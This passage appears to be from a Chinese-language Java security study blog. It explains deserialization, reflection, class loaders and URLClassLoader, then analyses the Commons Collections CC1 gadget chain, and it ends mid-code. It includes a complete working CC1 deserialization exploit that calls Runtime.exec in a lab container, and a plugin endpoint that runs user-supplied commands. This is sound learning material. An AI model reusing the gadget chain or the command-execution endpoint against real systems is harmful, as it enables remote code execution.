    --data "rO0ABXNyADRjb20uZXhhbXBsZS5kZXNlcmlhbGl6YXRpb25fbGFiLm1vZGVsLkJsb2NrZWRNZXNzYWdl5dASmxiARX8CAAFMAAV2YWx1ZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAaaGVsbG8gZnJvbSBibG9ja2VkIHBheWxvYWQ="

# type=com.example.deserialization_lab.model.BlockedMessage
# value=BlockedMessage{value='hello from blocked payload'}

可以发现安全接口成功拦截了反序列化, 而不安全接口则加载了它.

这就是各种反序列化漏洞的基础, 恶意对象以某种形式被加载从而导致一系列后果.

反射

反射机制允许 Java 程序在运行时查看和操作类的信息.例如:

java
// 一般写法:
LocalDate.now();
// 用反射写:
Class<?> clazz = Class.forName("java.time.LocalDate");
Method method = clazz.getDeclaredMethod("now");
method.invoke(null);

将这些固定的参数更换为从某接口输入, 就可以实现动态创建对象的功能.

因为很多框架需要在不知道具体类的情况下工作, 所以反射机制必不可少.

Spring 框架就很依赖反射机制. 比如当 Spring 容器扫描发现 @RestController, 他需要确定注解的类名, 需要的参数, 其中是否有其他注解, 需要时自动创建对象, 注册路由, 注入依赖等, 这些都是动态操作, 在写代码时无法涵盖.

此外还有诸如 Jackson 这类库, 它用于转换 Json 和 Java 对象. 通过 Json 创建一个 Java 对象显然是需要反射才能做到的.

所以这里是存在安全风险的. 如果某一部分用户输入与反射相关, 就有可能被恶意利用.

测试代码

java
// src/main/java/com/example/reflection_lab/ReflectionController.java

@RestController
public class ReflectionController {

    private static final Set<String> ALLOWED_CLASSES = Set.of(
    "java.lang.String",
    "java.time.LocalDate",
    "java.time.LocalDateTime"
    );

    @GetMapping(value = "/reflection/class-info", produces =
    MediaType.TEXT_PLAIN_VALUE)
    public String classInfo(@RequestParam String className) throws
    ClassNotFoundException {
        Class<?> clazz = Class.forName(className);

        String fields = Arrays.stream(clazz.getDeclaredFields())
        .map(this::formatField)
        .collect(Collectors.joining("\n"));

        String methods = Arrays.stream(clazz.getDeclaredMethods())
        .limit(20)
        .map(this::formatMethod)
        .collect(Collectors.joining("\n"));

        return """
        className=%s
        package=%s
        superclass=%s

        fields:
        %s

        methods(first 20):
        %s
        """.formatted(
        clazz.getName(),
        clazz.getPackageName(),
        clazz.getSuperclass() == null ? "null" :
        clazz.getSuperclass().getName(),
        fields.isBlank() ? "(none)" : fields,
        methods.isBlank() ? "(none)" : methods
        );
    }

    @GetMapping(value = "/reflection/call-zero-arg", produces =
    MediaType.TEXT_PLAIN_VALUE)
    public String callZeroArg(
    @RequestParam String className,
    @RequestParam String methodName
    ) throws ReflectiveOperationException {
        Class<?> clazz = Class.forName(className);
        Method method = clazz.getDeclaredMethod(methodName);

        if (!Modifier.isStatic(method.getModifiers())) {
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST,
            "method must be static");
        }

        Object result = method.invoke(null);

        return "resultType=" +
        (result == null ? "null" : result.getClass().getName())
        +
        "\nvalue=" + result + "\n";
    }

    @GetMapping(value = "/reflection/safe-class-info", produces =
    MediaType.TEXT_PLAIN_VALUE)
    public String safeClassInfo(@RequestParam String className) throws
    ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST,
            "class not allowed");
        }

        return classInfo(className);
    }

    private String formatField(Field field) {
        return Modifier.toString(field.getModifiers()) +
        " " + field.getType().getTypeName() +
        " " + field.getName();
    }

    private String formatMethod(Method method) {
        String parameters = Arrays.stream(method.getParameterTypes())
        .map(Class::getTypeName)
        .collect(Collectors.joining(", "));

        return Modifier.toString(method.getModifiers()) +
        " " + method.getReturnType().getTypeName() +
        " " + method.getName() +
        "(" + parameters + ")";
    }
}

解释一下部分代码的含义:

  • Class<?> clazz = Class.forName(className);: 常见的创建类的方式. Class<?> 表示某个类的元信息对象. 得到的 clazz 是类而非实例, 并且通过它可以得到这个类相关的各种信息(如字段, 方法, 注解等等)

  • clazz.getDeclaredFields(): 获取类字段. 可以获取类的所有字段, 但是不包括父类的字段

    还有一个类似的函数getFields(), 可以获取当前类和父类的 public 字段.

  • clazz.getDeclaredMethods(): 获取类方法. 可以获取类的所有方法, 但是不包括父类的方法

    还有一个类似的函数getMethods(), 可以获取当前类和父类的 public 方法.

  • clazz.getName()等: 获取类信息.

  • callZeroArg: 通过用户输入的类名和方法名来调用方法. 方法必须是静态方法(类可以直接调用而不需要实例化).

  • safeClassInfo: 可以发现加了一个白名单判定.

实际测试

我们跑起来看看效果.

bash
curl "http://localhost:8080/reflection/class-info?className=java.lang.String"

# className=java.lang.String
# package=java.lang
# superclass=java.lang.Object

# fields:
# private final byte[] value
# private final byte coder
# ...

# methods(first 20):
#  byte[] value()
# public boolean equals(java.lang.Object)
# ...

成功反射出 String 并且拿到了他的相关信息.

bash
curl "http://localhost:8080/reflection/call-zero-arg?className=java.time.LocalDate&methodName=now"

# resultType=java.time.LocalDate
# value=2026-08-31

成功调用 java.time.LocalDate 的 now 方法.

bash
curl "http://localhost:8080/reflection/safe-class-info?className=java.lang.Runtime"

# {"timestamp":"2026-08-31T09:44:14.019Z","status":400,"error":"Bad Request","path":"/reflection/safe-class-info"}

成功拦截非法反射类

扩展

我们多加几个接口:

java
@GetMapping(value = "/reflection/new-string-builder", produces = MediaType.TEXT_PLAIN_VALUE)
public String newStringBuilder(@RequestParam String text) throws
ReflectiveOperationException {
    Class<?> clazz = Class.forName("java.lang.StringBuilder");

    Constructor<?> constructor =
    clazz.getDeclaredConstructor(String.class);

    Object object = constructor.newInstance(text);

    return "objectType=" + object.getClass().getName() +
    "\nvalue=" + object + "\n";
}

@GetMapping(value = "/reflection/call-instance", produces = MediaType.TEXT_PLAIN_VALUE)
public String callInstance(
@RequestParam String text,
@RequestParam String methodName
) throws ReflectiveOperationException {
    StringBuilder builder = new StringBuilder(text);

    Method method =
    StringBuilder.class.getDeclaredMethod(methodName);

    if (Modifier.isStatic(method.getModifiers())) {
        throw new ResponseStatusException(HttpStatus.BAD_REQUEST,
        "method must be instance method");
    }

    Object result = method.invoke(builder);

    return "targetType=" + builder.getClass().getName() +
    "\ntargetValue=" + builder +
    "\nresultType=" + (result == null ? "null" :
    result.getClass().getName()) +
    "\nresultValue=" + result + "\n";
}

@GetMapping(value = "/reflection/read-private-field", produces = MediaType.TEXT_PLAIN_VALUE)
public String readPrivateField(@RequestParam String secret)
throws ReflectiveOperationException {
    SecretBox box = new SecretBox(secret);

    Field field = SecretBox.class.getDeclaredField("secret");

    field.setAccessible(true);

    Object value = field.get(box);

    return "fieldName=" + field.getName() +
    "\nfieldType=" + field.getType().getName() +
    "\nvalue=" + value + "\n";
}

@GetMapping(value = "/reflection/change-private-field", produces = MediaType.TEXT_PLAIN_VALUE)
public String changePrivateField(
@RequestParam String original,
@RequestParam String changed
) throws ReflectiveOperationException {
    SecretBox box = new SecretBox(original);

    Field field = SecretBox.class.getDeclaredField("secret");

    field.setAccessible(true);

    field.set(box, changed);

    return "box=" + box + "\n";
}

private static class SecretBox {

    private String secret;

    private SecretBox(String secret) {
        this.secret = secret;
    }

    @Override
    public String toString() {
        return "SecretBox{secret='" + secret + "'}";
    }
}
  • newStringBuilder: 这一接口用于构造实例. getDeclaredConstructor() 会根据传入的参数, 寻找有对应类型参数的构造函数并返回. constructor.newInstance(...) 则根据实际传入的参数来构造实例

  • callInstance: 这一接口用于调用实例上的方法. 其拒绝了静态方法.

  • readPrivateField: 这一接口用于读取类的 private 字段. changePrivateField 则用来修改字段值.

    这里需要注意, 虽然前文提到的 getDlaredFields() 可以得到所有字段的反射对象, 但是要实际读取, 修改等, 还是需要 setAccessible(true) 的.

有了这些方法, 反射会更加灵活. 实际上还有很多相关方法和实现, 还有更加底层的实现等. 不过这里暂且不提.

ClassLoader

Java 程序的运行依赖于 JVM, 而在 JVM 实际运行代码之前, 源码还得先编译成 .class 字节码. ClassLoader 的职责就是将字节码交给 JVM, 加载成运行时的 Class 对象.

image-1

如上图(来自Java ClassLoader(类加载器)学习), Loading 部分就是 ClassLoader 的工作, 之后就是 JVM 的工作了.

分类

ClassLoader 有不同的类型, 负责加载不同的字节码.c

  • Bootstrap ClassLoader

    负责加载核心类. 例如 java.lang.Object, java.lang.String 等.

    Bootstrap ClassLoader 本身不是普通的 Java 类实现的对象, 更多是 JVM 内部实现的. 我们在代码里可以通过 getClassLoader() 来确定某个类的加载器, 而这些核心类的加载器会显示为 null. 这意味着这个类由 Bootstrap ClassLoader 加载.

    其没有父加载器.

  • Platform ClassLoader

    负责加载 Java 平台层面的模块, 即 JDK 提供的类(去除核心类部分). 例如 java.sql, java.xml 等.

    其父加载器为 Bootstrap.

  • Application ClassLoader

    负责加载业务类(自己写的代码编译成的class)和第三方依赖(在 classpath 上的那些). 例如 com.example.reflection_lab.ReflectionLabApplication, org.springframework.web.bind.annotation.RestController 等.

    其父加载器为 Platform.

此外, 常见的加载器方法有这些(即 ClassLoader 类的方法):

  • loadClass: 加载指定的 Java 类
  • findClass: 查找指定的 Java 类
  • findLoadedClass: 查找 JVM 已经加载过的类
  • defineClass: 定义一个 Java 类
  • resolveClass: 链接指定的 Java 类
  • getParent: 查找委派父加载器

双亲委派

ClassLoader 加载类时, 会先尝试将加载任务委派给父加载器, 这就是所谓的双亲委派模型. 可以避免子加载器加载一些核心类, 从而保持类加载的一致性. 例如, 我自己搓了一个类叫做 java.lang.String, 要把这个类加载进 JVM, 理论上应该是由 Application ClassLoader 负责(因为这是我的业务类), 但是由于双亲委派, 这个类会被委派给 Bootstrap ClassLoader, 而它加载的就是核心类而非这个类了. 这就能避免业务中出现和核心类冲突的情况.

要注意双亲委派中的父加载器和类中的父类是不同的概念. 双亲委派中的最顶层的加载器就是 Bootstrap ClassLoader; 而在类的概念中, java.lang.ClassLoader 是所有加载器类(ClassLoader 类)的父类.

defineClass

defineClass 是 ClassLoader 里的核心方法, 它负责把一段 .class 文件格式的 byte[],定义成 JVM 里的 Class<?> 对象.典型签名:

java
protected final Class<?> defineClass(
        String name,
        byte[] b,
        int off,
        int len
)

我们之前了解过, 一个 .java 文件转换为 JVM 中一个可使用的类, 需要经过编译, 成为 .class 文件, 其本质就是字节流, ClassLoader 读取该文件内容, 将其转换为 byte[] 类型的对象, 再调用 defineClass 将这个对象转换为 Class<?> 类型的对象, JVM 就可以将其作为类操作了. 可以理解为 defineClass 是向 JVM 中实际注册类的方法.

反射相关性

反射加载一个类显然涉及到类加载, Class.forName("java.lang.String") 会让 JVM 尝试调用类加载器加载一个类进来, 然后返回 Class<?>, 也就是元信息对象.

已经加载过的类, 反射获取时还涉及 ClassLoader 么?

涉及, 但是并非运行层面的涉及. JVM 根据类的 类名+定义它的 ClassLoader 来判定类的身份, 当 JVM 中已经存在同类名且同 ClassLoader 的类, 那么反射加载它的时候会直接返回已有的类.

反射加载类和主动使用类加载器加载类的加载存在不同. 反射加载类会默认初始化(执行类的 static 块中的内容), 而加载器加载则不会.

测试代码

java
// src/main/java/com/example/classloader_lab/demo/InitDemo.java
package com.example.classloader_lab.demo;

public class InitDemo {

    static {
        System.out.println(">>> InitDemo static block executed");
    }

    public static String hello() {
        return "hello from InitDemo";
    }
}

这是一个有 static 块的类. 初始化这个类时 static 块中的程序将会运行.

java
// src/main/java/com/example/classloader_lab/classloader/ClassLoaderController.java
@RestController
public class ClassLoaderController {

    @GetMapping(value = "/classloader/current", produces = MediaType.TEXT_PLAIN_VALUE)
    public String current() {
        ClassLoader appLoader = ClassLoader.getSystemClassLoader();
        ClassLoader platformLoader = ClassLoader.getPlatformClassLoader();
        ClassLoader thisClassLoader = ClassLoaderController.class.getClassLoader();
        ClassLoader stringLoader = String.class.getClassLoader();
        ClassLoader initDemoLoader = InitDemo.class.getClassLoader();

        return """
        systemClassLoader=%s
        platformClassLoader=%s
        thisClassLoader=%s
        stringClassLoader=%s
        initDemoClassLoader=%s
        thisClassLoaderParent=%s
        platformClassLoaderParent=%s
        """.formatted(
        formatLoader(appLoader),
        formatLoader(platformLoader),
        formatLoader(thisClassLoader),
        formatLoader(stringLoader),
        formatLoader(initDemoLoader),
        formatLoader(thisClassLoader.getParent()),
        formatLoader(platformLoader.getParent())
        );
    }

    @GetMapping(value = "/classloader/class-info", produces = MediaType.TEXT_PLAIN_VALUE)
    public String classInfo(@RequestParam String className) throws ClassNotFoundException {
        Class<?> clazz = Class.forName(className);

        return """
        className=%s
        classLoader=%s
        parentLoader=%s
        """.formatted(
        clazz.getName(),
        formatLoader(clazz.getClassLoader()),
        clazz.getClassLoader() == null ? "null" : formatLoader(clazz.getClassLoader().getParent())
        );
    }

    @GetMapping(value = "/classloader/load-only", produces = MediaType.TEXT_PLAIN_VALUE)
    public String loadOnly(@RequestParam String className) throws ClassNotFoundException {
        ClassLoader loader = ClassLoaderController.class.getClassLoader();

        Class<?> clazz = loader.loadClass(className);

        return """
        loadedClass=%s
        classLoader=%s
        note=ClassLoader.loadClass usually loads the class without actively initializing it.
        """.formatted(
        clazz.getName(),
        formatLoader(clazz.getClassLoader())
        );
    }

    @GetMapping(value = "/classloader/for-name", produces = MediaType.TEXT_PLAIN_VALUE)
    public String forName(@RequestParam String className) throws ClassNotFoundException {
        Class<?> clazz = Class.forName(className);

        return """
        loadedClass=%s
        classLoader=%s
        note=Class.forName usually loads and initializes the class.
        """.formatted(
        clazz.getName(),
        formatLoader(clazz.getClassLoader())
        );
    }

    private String formatLoader(ClassLoader loader) {
        if (loader == null) {
            return "Bootstrap ClassLoader(null)";
        }

        return loader.getClass().getName() + "@" + Integer.toHexString(System.identityHashCode(loader));
    }
}
  • loadOnly 使用 ClassLoader 来加载类, 这是不会触发类的初始化的. 而 forName 使用反射加载类, 默认会初始化类.

接着测试一下:

bash
curl "http://localhost:8080/classloader/current"

# systemClassLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# platformClassLoader=jdk.internal.loader.ClassLoaders$PlatformClassLoader@2875b016
# thisClassLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# stringClassLoader=Bootstrap ClassLoader(null)
# initDemoClassLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# thisClassLoaderParent=jdk.internal.loader.ClassLoaders$PlatformClassLoader@2875b016
# platformClassLoaderParent=Bootstrap ClassLoader(null)

curl "http://localhost:8080/classloader/class-info?className=java.lang.String"

# className=java.lang.String
# classLoader=Bootstrap ClassLoader(null)
# parentLoader=null

curl "http://localhost:8080/classloader/class-info?className=com.example.classloader_lab.demo.InitDemo"

# className=com.example.classloader_lab.demo.InitDemo
# classLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# parentLoader=jdk.internal.loader.ClassLoaders$PlatformClassLoader@2875b016

这些是列出各种信息的接口. 接着对比一下 loader.loadClass() 和 Class.forName() 的区别:

bash
curl "http://localhost:8080/classloader/load-only?className=com.example.classloader_lab.demo.InitDemo"

# loadedClass=com.example.classloader_lab.demo.InitDemo
# classLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# note=ClassLoader.loadClass usually loads the class without actively initializing it.

curl "http://localhost:8080/classloader/for-name?className=com.example.classloader_lab.demo.InitDemo"

# loadedClass=com.example.classloader_lab.demo.InitDemo
# classLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# note=Class.forName usually loads and initializes the class.
# 注意服务端控制台的输出, 这里会打印 ">>> InitDemo static block executed"

可以发现 Class.forName() 是会初始化类, 运行它的 static 块中的内容的.

URLClassLoader

URLClassLoader 是类加载器的一种, 它可以从指定 URL 加载 .class 或 .jar.

这里直接来个例子:

java
// src/main/java/com/example/classloader_lab/pluginLoader/PluginController.java
package com.example.classloader_lab.pluginLoader;

import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets;
import java.nio.file.Paths;
import java.util.concurrent.TimeUnit;

@RestController
public class PluginController {

    @GetMapping(value = "/plugin/run-local", produces = MediaType.TEXT_PLAIN_VALUE)
    public String runLocal(@RequestParam String text) throws Exception {
        URL url = Paths.get("plugins/cmd-plugin.jar")
        .toAbsolutePath()
        .toUri()
        .toURL();
        // 远程加载也可 URL url = new URL("https://example.com/cmd.jar");

        try (URLClassLoader loader = new URLClassLoader(new URL[]{url})) {
            // URLClassLoader 需要数组参数
            Class<?> cmdClass = loader.loadClass("CMD");

            Method method = cmdClass.getMethod("exec", String.class);

            Process process = (Process) method.invoke(null, text);

            String output = readOutput(process);

            return """
            jarUrl=%s
            loadedClass=%s
            classLoader=%s
            method=%s
            output=%s
            """.formatted(
            url,
            cmdClass.getName(),
            cmdClass.getClassLoader(),
            method,
            output
            );
        }
    }

    private String readOutput(Process process) throws IOException, InterruptedException {
        boolean finished = process.waitFor(3, TimeUnit.SECONDS);

        if (!finished) {
            process.destroyForcibly();
            return "timeout";
        }

        StringBuilder output = new StringBuilder();

        try (BufferedReader reader = new BufferedReader(
        new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))) {

            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append('\n');
            }
        }

        output.append("exitCode=").append(process.exitValue());

        return output.toString();
    }
}

加载一个本地的 .jar 文件, 通过 text 传参来控制指令(示例参考自ClassLoader(类加载机制)). 一般来说, 加载的对象都是远程对象, 这里为了方便测试, 使用本地文件.

我们接着来写这个插件 .jar 的源码:

java
import java.io.IOException;

public class CMD {

    public static Process exec(String text) throws IOException {
        return new ProcessBuilder(text)
        .redirectErrorStream(true)
        .start();
    }
}

我们将其编译打包, 然后尝试一下:

bash
curl "http://localhost:8080/plugin/run-local?text=ls"

# jarUrl=file:/.../plugins/cmd-plugin.jar
# loadedClass=CMD
# classLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# method=public static java.lang.Process CMD.exec(java.lang.String) throws java.io.IOException
# output=build
# build.gradle
# gradle
# gradlew
# gradlew.bat
# HELP.md
# plugins
# settings.gradle
# src
# exitCode=0

CC 链 : CC1

学 Java 安全必然会遇到的一个内容就是各种 CC 链的分析, 复现, 总结. 在有了前置知识和实践基础的现在, 开始尝试分析一下各种 CC 链.

Apache Commons Collections 是 Apache 推出的一个 Java 集合工具库. 它扩展了 JDK 自带的 Map, List, Set 等的能力, 同时提供了 一些增强组件, 例如 TransformedMap, LazyMap 等.

所以 CC 的本质就是一套工具库, 而这套工具库的一些机制帮助了攻击行为, 从而导致这些经典 CC 链的形成.

CC 链有各种变体, 比较经典的就是从 CC1 到 CC6, 这些链子的不同点来自多个方面, 诸如触发点不同, 用到的 JDK 类不同, 用到的 CC 类不同, 适配的 JDK 版本不同, 适配的 CC 版本不同等.

根据学习的进度逐个分析他们比较好, 所以各个 CC 链还是分开记笔记比较好.

由于 CC1 的原始链是老古董, 需要的环境也很古老, 这次实验放在 docker 上做, 环境方面的问题就少了许多.

FROM lwieske/java-8:jdk-8u20

WORKDIR /lab

单独下载 commons-collections:3.2.1:

bash
mvn -q dependency:copy \
    -Dartifact=commons-collections:commons-collections:3.2.1 \
    -DoutputDirectory=lib

本次实验的利用代码:

java
// src/lab/Cc1TransformedMapDemo.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Cc1TransformedMapDemo {

    public static void main(String[] args) throws Exception {
        Object payload = buildPayload();

        serialize(payload, "payload.bin");

        System.out.println("[+] payload serialized to payload.bin");
        System.out.println("[+] now deserializing payload.bin");

        deserialize("payload.bin");

        Thread.sleep(1000);

        System.out.println("[+] done");
        System.out.println("[+] check /tmp/cc1-jdk8-lab-success");
    }

    private static Object buildPayload() throws Exception {
        Transformer[] realTransformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),

            new InvokerTransformer(
            "getMethod", // iMethodName
            new Class[]{String.class, Class[].class}, // iParamTypes
            new Object[]{"getRuntime", new Class[0]} // iArgs
            ),

            new InvokerTransformer(
            "invoke",
            new Class[]{Object.class, Object[].class},
            new Object[]{null, new Object[0]}
            ),

            new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{"touch /tmp/cc1-jdk8-lab-success"}
            )
        };

        Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{new ConstantTransformer(1)}
        );

        Map innerMap = new HashMap();
        innerMap.put("value", "not-a-retention-policy");

        Map transformedMap = TransformedMap.decorate(
        innerMap,
        null,
        transformerChain
        );

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor constructor = clazz.getDeclaredConstructor(
        Class.class,
        Map.class
        );

        constructor.setAccessible(true);

        Object payload = constructor.newInstance(
        Retention.class,
        transformedMap
        );

        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain, realTransformers);

        return payload;
    }

    private static void serialize(Object object, String file) throws Exception {
        ObjectOutputStream outputStream =
        new ObjectOutputStream(new FileOutputStream(file));

        outputStream.writeObject(object);
        outputStream.close();
    }

    private static Object deserialize(String file) throws Exception {
        ObjectInputStream inputStream =
        new ObjectInputStream(new FileInputStream(file));

        Object object = inputStream.readObject();
        inputStream.close();

        return object;
    }
}

我们首先尝试一下这个利用程序能不能符合预期. 在容器中尝试编译运行它:

bash
javac -cp lib/commons-collections-3.2.1.jar -d target/classes ./src/lab/Cc1TransformedMapDemo.java
java -cp target/classes:lib/commons-collections-3.2.1.jar lab.Cc1TransformedMapDemo
cd /tmp && ls || grep success

# cc1-jdk8-lab-success  hsperfdata_root  ks-script-YnXfcH

存在文件 cc1-jdk8-lab-success, 说明成功了. 接下来就是分析, 这才是重头戏.

虽然是基础链子, 但是也不那么简单明了. 整体的利用链大致如下:

ObjectInputStream.readObject()
  → AnnotationInvocationHandler.readObject()
  → memberValues.entrySet().iterator().next()
  → memberValue.setValue(...)
  → TransformedMap.checkSetValue(...)
  → ChainedTransformer.transform(...)
  → ConstantTransformer.transform(...)
  → InvokerTransformer.transform(...)
  → Runtime.getRuntime().exec(...)

然后我们一般看源码, 一遍理解这条链子:

  • Transformer

    CC 提供的一个接口:

    java
    
    public interface Transformer {
        /**
         * Transforms the input object (leaving it unchanged) into some output object.
         *
         * @param input  the object to be transformed, should be left unchanged
         * @return a transformed object
         * @throws ClassCastException (runtime) if the input is the wrong class
         * @throws IllegalArgumentException (runtime) if the input is invalid
         * @throws FunctorException (runtime) if the transform cannot be completed
         */
        public Object transform(Object input);
    }

    就是一个转换接口, 其他程序具体实现具体分析. CC 中很多类都实现了这个接口.

  • ConstantTransformer

    源码核心:

    java
    
    private final Object iConstant;
    
    public ConstantTransformer(Object constantToReturn) {
        super() // 这里的父类是 java.lang.Object, 无影响.
        iConstant = constantToReturn;
    }
    
    public Object transform(Object input) {
        return iConstant;
    }

    它的 transform 方法和输入无关, 直接返回 iConstant, 即构造时的参数. 所以如果我们能控制 constantToReturn, 就能控制这个节点的输出.

  • InvokerTransformer

    源码核心:

    java
    
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } ...
    }

    反射调用 input 对象上的某个方法. 效果等同于 input.iMethodName(iArgs), 但是显然程序跑起来前是不知道这些参数的, 所以这里自然而然的用上了反射.

  • ChainedTransformer

    源码核心:

    java
    
    public class ChainedTransformer implements Transformer, Serializable {
    
        private final Transformer[] iTransformers;
    
        public ChainedTransformer(Transformer[] transformers) {
            super();
            iTransformers = transformers;
        }
    
        public Object transform(Object object) {
            for (int i = 0; i < iTransformers.length; i++) {
                object = iTransformers[i].transform(object);
            }
            return object;
        }
    }

    即将多个 Transformer 对象串起来, 形成调用链.

  • TransformedMap

    源码核心:

    java
    // commons-collections-3.2.1/org/apache/commons/collections/map/TransformedMap.java
    public class TransformedMap
    extends AbstractInputCheckedMapDecorator
    implements Serializable {
    
        protected final Transformer keyTransformer;
        protected final Transformer valueTransformer;
    
        public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            return new TransformedMap(map, keyTransformer, valueTransformer);
        }
       
        protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            super(map);
            this.keyTransformer = keyTransformer;
            this.valueTransformer = valueTransformer;
        }
        
        protected Object checkSetValue(Object value) {
            return valueTransformer.transform(value);
        }
    }

    我们可以发现这里有个 valueTransformer.transform(value), 如果有办法摸到这个方法, 控制 value 就能触发 value 的 transform 方法.

    这里论证一下 valueTransformer.transform(value) 运行即可执行 payload.

    • valueTransformer 在我们的调用链中就是 transformerChain

    • Transformer transformerChain = new ChainedTransformer(...), 所以transformerChain 是 ChainedTransformer 实例

    • java
       Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
       field.setAccessible(true);
       field.set(transformerChain, realTransformers);

      反射设定 transformerChain 的 iTransformers 为 realTransformers

    • realTransformers 为 Transformer[], 其中的每一个元素为一个 ConstantTransformer 实例和三个 InvokerTransformer 实例. ChainedTransformer 的 transform 方法是遍历 iTransformers 中的元素, 逐一调用每个元素的 transform 方法,

    • ConstantTransformer 的 transform 方法是直接返回传入的对象, 这里是 Runtime.class

    • 之后是三个 InvokerTransformer, 他们会根据传入的参数调用方法. 这里最后串起来就成为了 payload: Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]).exec("touch /tmp/cc1-jdk8-lab-success")

      简化一下就是 runtime.exec("touch /tmp/cc1-jdk8-lab-success"), runtime 是 Runtime 实例.

    所以只要触发 transform, 就能触发这条链子.

    很显然这个 checkSetValue() 方法是 protected 的, 没法外部调用, 只能找找父类中是否有调用的. 会发现还真有.

  • AbstractInputCheckedMapDecorator

    TransformedMap 的父类 AbstractInputCheckedMapDecorator 中有几处比较重要:

    java
    abstract class AbstractInputCheckedMapDecorator
    extends AbstractMapDecorator {
        public Set entrySet() {
            if (isSetValueChecking()) {
                return new EntrySet(map.entrySet(), this); // 这里的 this 是之后的 parent
            } else {
                return map.entrySet();
            }
        }
    
        static class EntrySet extends AbstractSetDecorator {
    
            private final AbstractInputCheckedMapDecorator parent;
    
            protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
                super(set);
                this.parent = parent;
            }
    
            public Iterator iterator() {
                return new EntrySetIterator(collection.iterator(), parent);
            }
    
            public Object[] toArray() {
                Object[] array = collection.toArray();
                for (int i = 0; i < array.length; i++) {
                    array[i] = new MapEntry((Map.Entry) array[i], parent);
                }
                return array;
            }
    
            public Object[] toArray(Object array[]) {
                Object[] result = array;
                if (array.length > 0) {
                    result = (Object[]) Array.newInstance(array.getClass().getComponentType(), 0);
                }
                result = collection.toArray(result);
                for (int i = 0; i < result.length; i++) {
                    result[i] = new MapEntry((Map.Entry) result[i], parent);
                }
    
                if (result.length > array.length) {
                    return result;
                }
    
                System.arraycopy(result, 0, array, 0, result.length);
                if (array.length > result.length) {
                    array[result.length] = null;
                }
                return array;
            }
        }
    
        static class EntrySetIterator extends AbstractIteratorDecorator {
    
            private final AbstractInputCheckedMapDecorator parent;
    
            protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
                super(iterator);
                this.parent = parent;
            }
    
            public Object next() {
                Map.Entry entry = (Map.Entry) iterator.next();
                return new MapEntry(entry, parent);
            }
        }
    
        static class MapEntry extends AbstractMapEntryDecorator {
    
            private final AbstractInputCheckedMapDecorator parent;
    
            protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
                super(entry);
                this.parent = parent;
            }
    
            public Object setValue(Object value) {
                value = parent.checkSetValue(value);
                return entry.setValue(value);
            }
        }
    }

    我们根据之前的推理继续, 这个链路比较长:

    • 找到 MapEntry 类中的 setValue(...) 中 调用了 checkSetValue()

      • 这里是 parent 调用的, 一直向上找会发现 parent 是从 entrySet() 中的 new EntrySet(map.entrySet(), this); 这里来的, 也就是这个 this.
    • 实例化 MapEntry 类的地方在 EntrySetIterator 类的 next() 方法.

    • 实例化 EntrySetIterator 类的地方在 EntrySet 类的 iterator() 方法.

    • 实例化 EntrySet 类的地方在 entrySet() 这个 public 方法. 实例化 EntrySet 时还需要一个 map 变量, 其来源则需要看回 TransformedMap :

      java
      // TransformedMap
      public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
          return new TransformedMap(map, keyTransformer, valueTransformer); // 构建 TransformedMap
      }
      
      protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      	super(map); // 构建父类 AbstractInputCheckedMapDecorator
          this.keyTransformer = keyTransformer;
          this.valueTransformer = valueTransformer;
      }
      
      // AbstractInputCheckedMapDecorator
      protected AbstractInputCheckedMapDecorator(Map map) {
          super(map); // 构建父类 AbstractMapDecorator
      }
      
      // AbstractMapDecorator
      public AbstractMapDecorator(Map map) {
          if (map == null) {
              throw new IllegalArgumentException("Map must not be null");
          }
          this.map = map; // 子类继承
      }

      也就是说这个 map 是可控的(通过 TransformedMap.decorate(...) 可控), 也就是我们实验代码中的 innerMap.

  • 到这里终于全线连通了! 现在我们还需要一个可以调用到 entrySet() 的办法. CC1 的办法是利用 sun.reflect.annotation.AnnotationInvocationHandler 这个类. 核心源码(来自AnnotationInvocationHandler.java):

    java
    class AnnotationInvocationHandler implements InvocationHandler, Serializable {
